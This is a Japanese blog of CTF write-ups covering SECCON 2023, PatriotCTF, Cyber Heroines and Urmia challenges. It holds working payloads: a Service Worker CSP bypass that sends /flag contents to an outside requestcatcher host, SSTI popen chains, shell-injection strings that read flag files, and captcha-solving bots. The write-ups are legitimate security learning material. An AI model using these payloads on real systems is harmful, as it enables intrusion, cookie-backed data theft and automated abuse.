はまやんはまやんはまやん

hamayanhamayan's blog

SECCON CTF 2023 Quals Writeup

ArkさんとSatoooonさんのweb問回。面白くないはずがない。

[web] SimpleCalc

構成はシンプルで、以下のような形になっている。

  • GET / 任意のjavascriptコードを実行可能なページ
  • GET /js/index.js /が使っているjavascriptコード。URLのgetパラメタexprに書かれたjavascriptコードをevalで実行して結果を返すコードが入っている
  • GET /flag Cookieのtokenに管理者トークンを入れて、X-FLAGというHTTPリクエストヘッダーをつけてGETリクエストするとフラグが手に入る
  • POST /report 管理者BOTに任意のjavascriptコードを実行させることができる。

つまり、POST /reportで管理者に任意のjavascriptコードを実行させ、GET /flagCookie有+X-FLAGヘッダー有のリクエストの結果を抜き取るのがゴール。

CSPとカスタムヘッダー

この問題での一番の問題点はCSP+カスタムヘッダーである。

app.use((req, res, next) => {
  const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`);
  res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`);
  next();
});

このようにCSPがかかっており、読み込みやリクエストの送信先として/js/index.jsしか使えないようになっている。
これに伴って解決するのが難しくなるのがX-FLAGカスタムヘッダー部分となる。
fetchやXMLHttpRequestを使えばカスタムヘッダーを設定したリクエストができるのだが、CSPによって/flagに対してリクエストを投げることはできないため、
どうやってカスタムヘッダーを投げるかが問題となる。

req.hostnameがCSP構築に使われているので、その辺をうまく使って何とかするのか…と考えたがうまくいかなかった。
いつもはこの辺でまあいいかとあきらめてしまうのだが、今回はチーム戦なので考え続けていた。
ここから3時間強頭を打ち付けて発想をひねり出すことに…

"index.js"

こういう天啓があり考えていくとService Workerのアイデアが出る。
色々試すとそれっぽく動いている感じがあり、ひたすら深堀していた。
Service Worker解法の格闘途中、チームに誘ってくれた@melonattackerさんの以下のコメントが自分のアイデアの補強となった。

問題文のこの一文が気になる...
Note: Don't forget that the target host is localhost from the admin bot.

なるほど、今思えばこれはヒントだったのか。
今回の問題はindex.jsをService Workerとして登録し、CSPを無効化することで解くことができる。
解法の大枠は以下の資料にあるものと全く同じで、最終的なPoCも以下スライドのコードを一部写経している。
以下の資料の1. SWがCSPを削除してレンダラーに返すパターンを読むと以降の解説がスムーズに読めるかもしれない。
CSPを無意味にする残念なServiceWorker | ドクセル

Service Worker解法

Service Workerとは何か、どういう攻撃ができるのか、みたいな所はページ末尾に類題とともに置いておくので気になる方は参照してください。
Service Worker解法では、/js/index.jsをService Workerとして登録して、サイトを書き換えることでCSPを無効化するという方針で解く。
まず、/js/index.jsをService Workerとして登録できるのかという部分については、以下の条件を満たす必要がある。参考

/js/index.jsはこれをすべて満たしているため、navigator.serviceWorker.register("js/index.js");のようにやればserviceWorkerとしてjs/index.jsを登録することができる。
/js/index.jsの中身は以下のような感じ。

const params = new URLSearchParams(location.search);
const result = eval(params.get('expr'));
document.getElementById('result').innerText = result.toString();

これがService Workerとして実行されるときに、GETパラメタexprをevalに投げて実行する機能が役に立つ。
ServiceWorker登録時にexprを指定してnavigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent([jscode]));とすることで
Service Workerの中身で任意のjsコードを動かすようにできる。
試しに以下のコードを動かしてみよう。

let payload = "";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

documentが無いとエラーが出る。
index.jsのdocument.getElementById('result').innerText = result.toString();でService Worker上ではdocumentにアクセスできない(DOM操作できない)のでエラーになって止まる。
適当に用意して、エラーにならないようにする。以下のようにしてみよう。

let payload = "";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

うまく登録できましたね。
よく見るとhttp://localhost:3000/js/に対して登録されている。
これはService Workerの影響範囲の仕様で、別途の設定無しでは、登録したjavascriptファイルの階層以下にしか影響を与えられないため。
なので、Service Workerの動作確認は/js/index.jsを使ってやっていこう。以下のようにリクエスト/レスポンス書き換えをやってみる。
内容としては、これの写経。

let jscode = 'alert(document.domain);';
let payload = "";
payload += "self.addEventListener('fetch', async (evt) => { const url = new URL(evt.request.url); if (url.pathname === '/js/index.js') { evt.respondWith( (async () => { const respondFromNetwork = await fetch(evt.request); const cloned = respondFromNetwork.clone(); const { status, statusText} = cloned; const headers = new Headers(cloned.headers); headers.delete('Content-Security-Policy'); headers.set('Content-Type', 'text/html'); const responseToBrowser = new Response('<script>" + jscode + "</script>', { status, statusText, headers}); return responseToBrowser; })() ) } });";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

これを動かした後にGET /js/index.jsへアクセスするとレスポンスが書き換えられalertがpopする。

歓喜の瞬間。ここまでくればほぼ解けたようなもの。
レスポンスのCSPヘッダーの削除してあるので後は持ってくるだけ。

let jscode = 'var xhr = new XMLHttpRequest();xhr.open("GET", "/flag", true);xhr.setRequestHeader("X-Flag", "s");xhr.withCredentials = true;xhr.send();xhr.onload = function() { fetch("https://asdfasdfsadfdt32yuh54rgasdefgsd.requestcatcher.com/in?d=" + xhr.response); };';
let payload = "";
payload += "self.addEventListener('fetch', async (evt) => { const url = new URL(evt.request.url); if (url.pathname === '/js/index.js') { evt.respondWith( (async () => { const respondFromNetwork = await fetch(evt.request); const cloned = respondFromNetwork.clone(); const { status, statusText} = cloned; const headers = new Headers(cloned.headers); headers.delete('Content-Security-Policy'); headers.set('Content-Type', 'text/html'); const responseToBrowser = new Response('<script>" + jscode + "</script>', { status, statusText, headers}); return responseToBrowser; })() ) } });";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

これで登録して、GET /js/index.jsすればフラグがrequestcatcherに降ってくる。ok.
最終的なペイロードは以下のようになった。
新しいタブを開いてService Workerを登録させて、元のページを使ってGET /js/index.jsを踏ませる。

const registerPayload = `
let jscode = 'var xhr = new XMLHttpRequest();xhr.open("GET", "/flag", true);xhr.setRequestHeader("X-Flag", "s");xhr.withCredentials = true;xhr.send();xhr.onload = function() { fetch("https://asdfasdfsadfdt32yuh54rgasdefgsd.requestcatcher.com/in?d=" + xhr.response); };';
let payload = "";
payload += "self.addEventListener('fetch', async (evt) => { const url = new URL(evt.request.url); if (url.pathname === '/js/index.js') { evt.respondWith( (async () => { const respondFromNetwork = await fetch(evt.request); const cloned = respondFromNetwork.clone(); const { status, statusText} = cloned; const headers = new Headers(cloned.headers); headers.delete('Content-Security-Policy'); headers.set('Content-Type', 'text/html'); const responseToBrowser = new Response('<script>" + jscode + "</script>', { status, statusText, headers}); return responseToBrowser; })() ) } });";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));
`;
const originURL = 'http://localhost:3000';
const sleep = ms => new Promise(r => setTimeout(r, ms));
setTimeout(async () => {
    /* 1. register SW */
    window.open(originURL + '/?expr=' + encodeURIComponent(registerPayload), '');
    await sleep(500);
    /* 2. trigger XSS */
    location = originURL + '/js/index.js';
}, 0);

431エラー解法

今から追って勉強する予定なのですが、431エラーを誘発させてCSPを消すテクがあるっぽいです。
Discordの深淵に潜って真相を確かめてきます。

補足1: まとめ

チームONsenで参加していました!
誘っていただいた@melonattackerさんと、チームメンバーの方々感謝です!楽しかった!

補足2: Service Worker 資料

過去色々出題されています。とりあえず手元にある類題メモも放出しておきます。

PatriotCTF 2023 Writeup

[forensics] Unsupported Format

jpgファイルが与えられるが破損しているので修復する問題。
バイナリエディタで眺めると0x100付近にJFIFという文字が見える。
通常jpegファイルの先頭周りについている文字列なのだが、ちゃんと開くjpegファイルと比較しても違和感がある。
先頭が違う?と思い、適当にforemost -v Flag.jpgでfile carvingしなおすと開けるjpegファイルが抽出でき、
フラグが書いてある。

[forensics] Congratulations

docmファイルが与えられる。
oleidで見てみるが、特に気になる部分はない。
zipに拡張子を変えて解凍してみる。
word/media/image1.pngを見るとDocuSignを騙ったフィッシングドキュメントでBECを想定しているっぽい。
word/vbaProject.binがあり、マクロが埋め込まれていた。(oleid教えてくれないのね)
olevbaで中身を見てみよう。
olevba -c /vbaProject.binで抽出可能。

Dim x51 As String
    Dim x49 As String

    x51 = "C:\Program Files\Internet Explorer\iexplore.exe"

    Dim x50 As Integer
    Dim x47 As Double
    For x50 = 1 To 100
        x47 = Sqr(x50) * 2 + 5 / x50
    Next x50

    MsgBox "cYvSGF9cFrrEmfYFW8Yo", vbInformation, "aThg"

    x49 = [char]0x50 + [char]0x43 + [char]0x54 + [char]0x46 + [char]0x7B + [char]0x33 + [char]0x6E + [char]0x34 + [char]0x62 + [char]0x6C + [char]0x33 + [char]0x5F + [char]0x6D + [char]0x34 + [char]0x63 + [char]0x72 + [char]0x30 + [char]0x35 + [char]0x5F + [char]0x70 + [char]0x6C + [char]0x7A + [char]0x5F + [char]0x32 + [char]0x37 + [char]0x33 + [char]0x31 + [char]0x35 + [char]0x36 + [char]0x37 + [char]0x30 + [char]0x7D

    Shell x51 & " " & x49, vbNormalFocus

    Application.Wait Now + TimeValue("00:00:02")

    MsgBox "sgTdrn8Np2Kpfnmr9y57" & x49, vbInformation, "foSds"

    Dim x45(1 To 10) As Integer
    Dim x46 As Integer
    For x50 = 1 To 10
        x46 = Int((100 - 1 + 1) * Rnd + 1)
        x45(x50) = x46
    Next x50

    Dim x52 As Integer
    Dim x53 As Integer
    For x50 = 1 To 9
        For x53 = x50 + 1 To 10
            If x45(x50) > x45(x53) Then
                x52 = x45(x50)
                x45(x50) = x45(x53)
                x45(x53) = x52
            End If
        Next x53
    Next x50

    Dim x54 As String
    For x50 = 1 To 10
        x54 = x54 & x45(x50) & ", "
    Next x50
    MsgBox "phNuYUNwdHHCJdVL4hJd" & Left(x54, Len(x54) - 2), vbInformation, "LOEC"

    Dim x55 As Worksheet
    Set x55 = ThisWorkbook.Sheets.Add(After:=ThisWorkbook.Sheets(ThisWorkbook.Sheets.Count))
    x55.Name = "TtrZ4"
    Dim x56 As ChartObject
    Set x56 = x55.ChartObjects.Add(Left:=10, Top:=10, Width:=300, Height:=200)

    Dim x57 As Range
    Set x57 = x55.Range("A1:B5")
    x57.Value = Application.WorksheetFunction.RandBetween(1, 100)
    x56.Chart.SetSourceData Source:=x57
    x56.Chart.ChartType = xlColumnClustered

    Exit Sub

ErrorHandler:
    MsgBox "hWgjD9NKf7UqXdAq0GBb", vbCritical, "uv9b"
End Sub

色々書いてあるが、以下を返還するとフラグになっていた。

x49 = [char]0x50 + [char]0x43 + [char]0x54 + [char]0x46 + [char]0x7B + [char]0x33 + [char]0x6E + [char]0x34 + [char]0x62 + [char]0x6C + [char]0x33 + [char]0x5F + [char]0x6D + [char]0x34 + [char]0x63 + [char]0x72 + [char]0x30 + [char]0x35 + [char]0x5F + [char]0x70 + [char]0x6C + [char]0x7A + [char]0x5F + [char]0x32 + [char]0x37 + [char]0x33 + [char]0x31 + [char]0x35 + [char]0x36 + [char]0x37 + [char]0x30 + [char]0x7D

[forensics] Capybara

jpegファイルが与えられる。
色々試すとbinwalkでFile Carvningすることでaudio.wavというファイルが得られる。

$ binwalk -e capybara.jpeg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
151174        0x24E86         Zip archive data, at least v2.0 to extract, compressed size: 6902, uncompressed size: 919160, name: audio.wav
158170        0x269DA         End of Zip archive, footer length: 22

音を聞くとモールス信号なので、https://morsecode.world/international/decoder/audio-decoder-adaptive.html
あたりを使ってデコードする。
結果にブレがあるのでうまく何回か試して結果を調整しながら使うと、hex stringsが得られ、hex to asciiでデコードすると
フラグが得られる。

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=NTA0MzU0NDY3QjY0MzA1Rjc5MzA1NTVGNkI0RTMwNTc1RjY4MzA1NzVGNzQzMDVGNTIzMzM0NDQ1RjZEMzA3MjM1MzM1RjQzMzA2NDMzM0Y3RA

[web] Scavenger Hunt

ソースコード無し。
フラグがページのあちこちに散らばってるので探して持ってくる問題。
Burp Suiteで開いて巡回して、ソースコード確認して、みたいな流れを繰り返して拾っていくといい。

  1. GET / -> Flag 1/5 - PCTF{Hunt
  2. GET /ソースコード -> <!-- Flag 2/5 - 3r5_4n -->
  3. GET /robots.txt (これだけ推測で頑張るしかない) -> # Flag 3/5 - D_g4tH3
  4. GET /script1.js -> console.log("Flag 4/5 - R5_e49");
  5. GET /script2.js -> document.cookie = "Flag 5/5=e4a541}";

[web] Checkmate

ユーザー名パスワードを入れるサイトが与えられる。
以下のようにjavascriptでクライアント側で検証実施している。
nameは以下のように検証している。

function checkName(name){

    var check  = name.split("").reverse().join("");
    return check === "uyjnimda" ? !0 : !1;
}

反転してuyjnimdaと比較しているので、adminjyuとすればいい。
passwordは以下のORで判定している。

function checkLength(pwd){
     return (password.length % 6 === 0 )? !0:!1;
    }
function checkValidity(password){
    const arr = Array.from(password).map(ok);
    function ok(e){
        if (e.charCodeAt(0)<= 122 && e.charCodeAt(0) >=97 ){
        return e.charCodeAt(0);
    }}

    let sum = 0;
    for (let i = 0; i < arr.length; i+=6){
        var add = arr[i] & arr[i + 2]; 
        var or = arr[i + 1] | arr[i + 4]; 
        var xor = arr[i + 3] ^ arr[i + 5];
        if (add === 0x60   && or === 0x61   && xor === 0x6) sum += add + or - xor; 
    }
   return  sum === 0xbb ? !0 : !1;
}

ANDで判定すればよさそうだが、ORになっている。
理由はよくわからないが、どっちも通るものを作ればよさそう。

まずif (add === 0x60 && or === 0x61 && xor === 0x6) sum += add + or - xor;の部分をみると、1ループでsumにどれだけ加算されるかは分かる。

$ python3 -c "print(0x60+0x61-0x6);print(0xbb)"
187
187

という感じなので、パスワードの長さは6文字と見て良さそう。
ソースコード// /check.phpとコメントがあるので、GETでアクセスしてみるとパスワードの入力画面が出てくる。
上記の条件を満たすパスワードは1つではないので、条件を満たすものを使ってブルートフォースすればよさそう。
以下のようにブルートフォーサーを書いて放っておくと、パスワードがsadsauのときにフラグが得られる。

import time
import requests

for v0 in range(97,122 + 1):
    for v1 in range(97,122 + 1):
        for v2 in range(97,122 + 1):
            for v3 in range(97,122 + 1):
                for v4 in range(97,122 + 1):
                    for v5 in range(97,122 + 1):
                        if (v0 & v2) == 0x60 and (v1 | v4) == 0x61 and (v3 ^ v5) == 0x6:
                            passwd = chr(v0) + chr(v1) + chr(v2) + chr(v3) + chr(v4) + chr(v5)
                            print(passwd)
                            t = requests.post('http://chal.pctf.competitivecyber.club:9096/check.php', data={'password':passwd}).text
                            if 'incorrect password' not in t:
                                print(t)
                                print('did it!')
                                exit(0)
                            time.sleep(0.1)

[web] Flower Shop

phpで作られたwebサイトが与えられる。
GET /admin.phpをセッションのusernameがadminの状態で入ればフラグがもらえる。
一番怪しいのが、パスワードリセット処理を実施しているapp/classes/reset.class.phpの以下の部分。

exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &");

明らかに不自然。
埋め込み変数の出元を辿ると$this->whはユーザー登録時に登録するWebhookのURLを指していて、
正常動作であれば、このWebhook先にパスワードリセット後の新しいパスワードが送られる。

Webhook URLは登録時に以下のようなバリデーションを実施する。

        if (!filter_var($this->wh, FILTER_VALIDATE_URL)) {
            header("location: ../login.php?error=NotValidWebhook");
            exit();
        }

コマンドインジェクションに対してはこれだけでは不十分で、https://[yours].requestcatcher.com/test?q=$(id)のようにWebhookを仕込み、
パスワードリセット処理を実行すると、idの出力が得られる。
あとはフィルタリングを回避しながら、出力もうまく調整しながら/var/www/html/admin.phpにあるフラグを取得すればいい。
自分は以下のようなURLを使用した。

http://[yours].requestcatcher.com/test?q=$(dd${IFS}if=/var/www/html/admin.php${IFS}bs=1${IFS}skip=325)

空白がバリデーションで弾かれるので${IFS}を利用している。
あと、そのままadmin.phpを出力させて送ると空白とかでちゃんと送れないので、ddコマンドで先頭バイトを適当にskipして送っている。

[web] Pick Your Starter

ポケモンの最初の御三家のどれを選ぶか選択できるサイトが与えられる。
ちなみにヒトカゲを選ぶと/charmanderというパスに飛ばされる。
色々試すと/{{7*7}}、つまり、GET /%7B%7B7*7%7D%7Dを試すと49と帰ってきてSSTI可能なことが分かる。
触ってみるとブラックリストがあるような気がする。

[]
config
|
__builtins__
"
'
+

さまよっていると、
http://chal.pctf.competitivecyber.club:5555/%7B%7Brequest.application.__globals__.__loader__.__init__.__globals__.sys.modules.os.popen(request.args.a).read()%7D%7D?a=id
でidコマンドが実行できた。

cat app.pyとしてコードを見てみる。

from flask import Flask, render_template, render_template_string

app = Flask(__name__)
app.static_folder = 'static'

starter_pokemon = {
    "charmander" : {
        "name": "Charmander",
        "type": "Fire",
        "abilities": ["Blaze", "Solar Power"],
        "height": "0.6m",
        "weight": "8.5 kg",
        "description": "Charmander is a Fire-type Pokémon known for its burning tail flame.",
        "picture": "https://assets.pokemon.com/assets/cms2/img/pokedex/full/004.png"
    },
    "bulbasaur" : {
        "name": "Bulbasaur",
        "type": "Grass/Poison",
        "abilities": ["Overgrow", "Chlorophyll"],
        "height": "0.7m",
        "weight": "6.9 kg",
        "description": "Bulbasaur is a dual-type Grass/Poison Pokémon known for the plant bulb on its back.",
        "picture": "https://archives.bulbagarden.net/media/upload/f/fb/0001Bulbasaur.png"
    },
    "squirtle" : {
        "name": "Squirtle",
        "type": "Water",
        "abilities": ["Torrent", "Rain Dish"],
        "height": "0.5m",
        "weight": "9.0 kg",
        "description": "Squirtle is a Water-type Pokémon known for its water cannons on its back.",
        "picture": "https://static.pokemonpets.com/images/monsters-images-800-800/7-Squirtle.webp"
    },
}

def blacklist(string):
    block = ["config", "update", "builtins", "\"", "'", "`", "|", " ", "[", "]", "+", "-"]
    
    for item in block:
        if item in string:
            return True
    return False


@app.route('/')
def index():
    render = render_template('index.html')
    return render_template_string(render)


@app.route('/<pokemon>')
def detail(pokemon):
    pokemon = pokemon.lower()
    try:
        render = render_template('pokemon_name.html', data=starter_pokemon[pokemon])
        return render_template_string(render)
    except:
        if blacklist(pokemon):
            return render_template('error.html')
            
        render = render_template('404.html', pokemon=pokemon)
        return render_template_string(render)

if __name__ == '__main__':
    app.run(debug=True)

ブラックリスト大体あってましたね。
updateは何をブロックしたかったんだろう。
ともあれ、cat /flag.txtでフラグ獲得

Cyber Heroines CTF Writeup

[forensics] Barbara Liskov

pycファイルが与えられる。
デコンパイルしたり、実行してみようとするが、

$ uncompyle6 BarbaraLiskov.pyc
Unknown magic number 3495 in BarbaraLiskov.pyc
$ python BarbaraLiskov.pyc 
RuntimeError: Bad magic number in .pyc file

と言われる。
調べるとバージョンごとにマジックナンバーが違うらしい。
pycのマジックナンバーについて調べました。
ほう。
3495で調べるとpython3.11っぽい。
Unknown magic number 3495 in Demand_Change_Report.pyc · Issue #461 · rocky/python-uncompyle6
しかも、uncompyle6ではデコードできないっぽい。
pythonをとりあえず最新に上げて動かす。
動かすと以下のような感じ。

$ python BarbaraLiskov.pyc 
Enter the digital code >>> 1
<<< Incorrect code.

uncompyle6は使えなかったので標準機能でデコンパイルする。

import dis
import marshal

with open('BarbaraLiskov.pyc', 'rb') as f:
    f.seek(16)
    print(dis.dis(marshal.load(f)))

かなり見やすく出てくるので、それっぽいのを探すと、

 13           2 LOAD_CONST               1 ('Y2hjdGZ7dV9uM3Yzcl9uMzNkXzBwdDFtNGxfcDNyZjBybTRuYzMsX3VfbjMzZF9nMDBkLTNuMHVnaF9wM3JmMHJtNG5jM30=')
              4 STORE_FAST               0 (encoded_string)

 14           6 LOAD_GLOBAL              1 (NULL + base64)
             18 LOAD_ATTR                1 (b64decode)
             28 LOAD_FAST                0 (encoded_string)
             30 PRECALL                  1
             34 CALL                     1
             44 STORE_FAST               1 (bytes)

とあり、このbase64文字列をデコードするとフラグが書いてあった。

[forensics] Margaret Hamilton

jpgファイルが与えられる。
とりあえずstringsしてみると、なんかある。

$ strings -n 10 Apollo-Mystery.jpg
KPossibility of a secret flag - https://www.youtube.com/shorts/y3I-mbNCC80
...
margaret_flag.pngUT

youtube動画はMargaret Hamiltonの紹介動画。
margaret_flag.pngが気になる。
binwalkで探すとこのpng画像が取得でき、フラグが書いてある。

$ binwalk -e Apollo-Mystery.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
98309         0x18005         Zip archive data, at least v2.0 to extract, compressed size: 923047, uncompressed size: 932086, name: margaret_flag.png
1021518       0xF964E         End of Zip archive, footer length: 22

[forensics] Elizabeth Feinler

pcapファイルが与えられる。
WireSharkで開くとDNS通信が記録されていたが、143.google.WiCys.comのように数字が先頭についたドメインを名前解決しようとしている。
数字を全部抜き出す。

143 150 143 164 146 173 143 162 63 141 164 60 162 137 60 146 137 144 60 155 141 151 156 137 156 64 155 63 137 163 171 163 164 63 155 175

眺めると255以下の数字ばかりなのでascii文字のdecimal表現かもしれない。
全部抜き出してCyberChefでfrom Decimalしてみるが…変な感じ。
んーと思ってCyberChefのmagicにかけてみると、Octalだった!

https://gchq.github.io/CyberChef/#recipe=From_Octal('Space')

From Octalでフラグが出てくる。

[web] Grace Hopper

コマンドが自由に打てるサイトが与えられるが、ブラックボックスか何かで制限がかけられている。

$ find
.
./vulnerable.php
./cyberheroines.txt
./cyberheroines.sh
$ grep "" vulnerable.php

これでサイトのソースコードが得られる。

<?php
$output = '';
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];

    $blacklist = array('cat', 'ls', 'more', 'tac', 'nl', 'head', 'tail', 'awk', 'sed');
    $safe_to_run = true;
    foreach ($blacklist as $word) {
        if (strpos($cmd, $word) !== false) {
            $safe_to_run = false;
            $output = "You think it's that easy? Try harder!";
            break;
        }
    }

    if ($safe_to_run) {
        ob_start();
        system($cmd);
        $output = ob_get_clean();
    }
}
?>

[REDACTED]

        <div class="output">
            <strong>Output:</strong><br>
            <pre><?php echo htmlspecialchars($output); ?></pre>
        </div>
    </div>
</body>

</html>

どういう制約が付いているのかが分かった。
他の2つのファイルも見てみる。

$ grep "" cyberheroines.txt
e2d49cb900cc2b8aad02d972099366c44381e3e7c24736312ca839fbd18743a7  -
$ grep "" cyberheroines.sh
FLAG="CHCTF{t#!$_!s_T#3_w@Y}"
echo -n "$FLAG" | sha256sum > cyberheroines.txt

フラグが見つかった。

[web] Radia Perlman

My DNS Appというwebアプリが与えられる。
/dns?ip=cyberheroines.ctfd.ioという使い方をする。
色々ブラックボックスで使えなくなっているが;が使えたので;idでコマンドインジェクションできた。
cyberheroines.ctfd.io ; grep "" code7.jsでcode7.jsを開くことができ、ソースコードを確認できる。

const express = require('express');
const path = require('path');
const cp = require('child_process');

const app = express();

// Serve static files from 'public' folder
app.use(express.static('public')); 

// Set 'views' folder and view engine
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'hbs');

// Home page route
app.get('/', (req, res) => {
  res.render('index'); 
});

// About page route
app.get('/about', (req, res) => {
  res.render('about');
});

// Contact page route
app.get('/contact', (req, res) => {
  res.render('contact');
});

// Vulnerable dns route
app.get('/dns', (req, res) => {
  const ip = req.query.ip;

  if (isSafeInput(ip)) {
    try {
      const commandOutput = cp.execSync("nslookup " + ip + " 2>&1").toString();
      res.send('Command Output: ' + commandOutput);
    } catch (error) {
      res.send('Error: ' + error.message);
    }
  } else {
    res.send('Nope. You have to try harder !');
  }
});

// Check for unsafe input (e.g., unsafe keywords except "head")
function isSafeInput(input) {
  const unsafeKeywords = ["cat", "tail", "less", "more", "awk", "&&", "head", "|", "$", "`", "<", ">", "&", "*"];
  return !unsafeKeywords.some(keyword => input.includes(keyword)) || input === "head";
}

// Start server
app.listen(3000, () => {
  console.log('Server listening on port 3000'); 
});

lsコマンドで探索すると/app/flag.txtというのがあり、
; grep "" /app/flag.txtでフラグ獲得。

[web] Shafrira Goldwasser

ソースコードが与えられている。
中身を見るとnaiveなSQL Injection脆弱性…もあるが、コマンドインジェクションが可能。

def query_database(name):
    query = 'sqlite3 database.db "SELECT biography FROM cyberheroines WHERE name=\'' + str(name) +'\'\"'
    result = subprocess.check_output(query, shell=True, text=True)
    return result

'" && id #を試しに送るとidの結果が帰ってくる。
'" && cat /flag.txt #でフラグ獲得。

[web] Frances Allen

Cyber Heroineを立候補できるサイトが与えられる。
立候補したいCyber Heroineの名前とその説明を送る。
色々実験すると、説明文の所に{{7*7}}を置くと49になった。SSTI脆弱性がある。
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}ディレクトリが列挙されたのでRCE達成。
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}でフラグ獲得

Urmia CTF 2023 Writeups

[Web] E Corp.

http://admin-panel.localに到達するのが最終的なゴール。
Burp Suiteを起動しサイトを巡回するとPOST /api/view.php{"post":"file:///posts/Azita"}というリクエストが飛んでいる。
SSRF脆弱性ということだろう。
{"post":"http://admin-panel.local"}にして送るとフラグが得られる。

[Web] htaccess

/one/flag.txtと、/two/flag.txtにそれぞれ.htaccessファイルを使ったアクセス制限がかかっているのでbypassせよという問題。

one

.htaccessは以下。

RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]

書き換えの条件として、HTTPリクエストのHostヘッダーがlocalhostでないという条件になっている。
普通にアクセスすると以下のような感じ。

GET /one/flag.txt HTTP/1.1
Host: htaccess.uctf.ir
Connection: close

これでは条件に合致して書き換えられるので、Hostヘッダーを変更して送るとフラグがもらえる。

GET /one/flag.txt HTTP/1.1
Host: localhost
Connection: close

two

.htaccessは以下。

RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]

自分のCTFメモ帳にこの状況に完全に合致する記載があった。

- `RewriteCond %{THE_REQUEST} flag`みたいにTHE_REQUESTで制限がある場合はパーセントエンコーディングでbypass可能
    - `%{THE_REQUEST}`は`GET /two/fla%67.txt HTTP/1.1`みたいに1行目をそのまま持ってきているので、パーセントエンコーディングしてあれば引っかからない。だが、使われるときはパーセントエンコーディングが解かれているので、gを%67に変換してやるみたいなことをするだけでいい

ん?と一瞬思ったが、まあ、とりあえず気にしないことにして、このメモにあるように、パーセントエンコーディングして出すと後半がもらえる。

GET /two/fla%67.txt HTTP/1.1
Host: htaccess.uctf.ir

過去問題の流用だった。過去に解説書いていた
https://blog.hamayanhamayan.com/entry/2022/09/25/232936#web-helicoptering

[Web] Captcha1 | the Missing Lake

自作のRecaptchaシステムが与えられるので300回回避する問題。
適当に以下とかを見ながら環境を作る。
tesseract+pytesseractのdockerコンテナ
これでOCRを使ってソルバーを書いて回避。
使ったOCRエンジンの精度がひどいが、失敗してもペナルティ無しなので、適当に回していればフラグまでたどり着く。

import requests
import re
import base64
from PIL import Image
import pytesseract

BASE_URL = 'https://captcha1.uctf.ir'
INIT_SESSID = '5af1ob090g94h8plhnm27v61gp'

cookies = {
    'PHPSESSID': INIT_SESSID,
    '926835342a210d84823968c8328cc3c8' : '6a1941a8e10bb5cbd77de0fd19bcebae'
}

b64image = re.search(r'data:image\/png;base64,([^"]*)"', requests.get(BASE_URL + '/', cookies=cookies).text)[1]
with open("image.png", 'bw') as fp:
    fp.write(base64.b64decode(b64image))

for i in range(300):
    print(i)
    ocred = pytesseract.image_to_string(Image.open("image.png")).strip()
    t = requests.post(BASE_URL + '/', data={'captcha': ocred}, cookies=cookies).text
    b64image = re.search(r'data:image\/png;base64,([^"]*)"', t)[1]
    with open("image.png", 'bw') as fp:
        fp.write(base64.b64decode(b64image))

[Web] captcha2 | the Missing Lake 2

URLが張ってないので、同じ問題にもう一つフラグが隠されているのか…?と思ったが、単にリンクが張られてないだけだった。
前問が https://captcha1.uctf.ir/ だったので、https://captcha2.uctf.ir/ に行くとサイトがあった。
今回は画像を読み取って動物の種類を答える問題。

画像は同じ画像が結構使われていて、ファイル名は一意っぽい。
レパートリーも少なそうなので、ファイル名で辞書を作って答えていこう。
以下のようなスクリプトで辞書を作りながら動かして検証を100回通せばフラグがもらえる。

import requests
import re
import base64

BASE_URL = 'https://captcha2.uctf.ir'
INIT_SESSID = '0pfvielcd3h230l85piu1beihr'

cookies = {
    'PHPSESSID': INIT_SESSID,
    'f873062f0559114b30a8e84091decac1' : '47c7b54c28039b0e99ddb4f2c37825a1'
}

dic = {
    'C29E4D9C8824409119EAA8BA182051B89121E663.jpeg': 'falcon',
    '73335C221018B95C013FF3F074BD9E8550E8D48E.jpeg': 'penguin',
    '6D0EBBBDCE32474DB8141D23D2C01BD9628D6E5F.jpeg': 'rabbit',
    '148627088915C721CCEBB4C611B859031037E6AD.jpeg': 'snake',
    '09F5EDEB4F5B2A4E4364F6B654682C6758A3FA16.jpeg': 'bear',
    '9D989E8D27DC9E0EC3389FC855F142C3D40F0C50.jpeg': 'cat',
    '091B5035885C00170FEC9ECF24224933E3DE3FCC.jpeg': 'horse',
    '5ECE240085B9AD85B64896082E3761C54EF581DE.jpeg': 'duck',
    '9E05E6832CAFFCA519722B608570B8FF4935B94D.jpeg': 'mouse',
    'FF0F0A8B656F0B44C26933ACD2E367B6C1211290.jpeg': 'fox',
    'E49512524F47B4138D850C9D9D85972927281DA0.jpeg': 'dog',
}


t = requests.get(BASE_URL + '/', cookies=cookies).text
r = re.search(r'<img src="([0-9[A-F]+\.jpeg)">\s*<img src="([0-9[A-F]+\.jpeg)">', t)
img1 = r[1]
img2 = r[2]

for i in range(300):
    print(i)
    if not img1 in dic:
        print(BASE_URL + '/' + img1)
        exit(0)
    if not img2 in dic:
        print(BASE_URL + '/' + img2)
        exit(0)
    t = requests.post(BASE_URL + '/', data={'captcha': dic[img1] + '-' + dic[img2]}, cookies=cookies).text
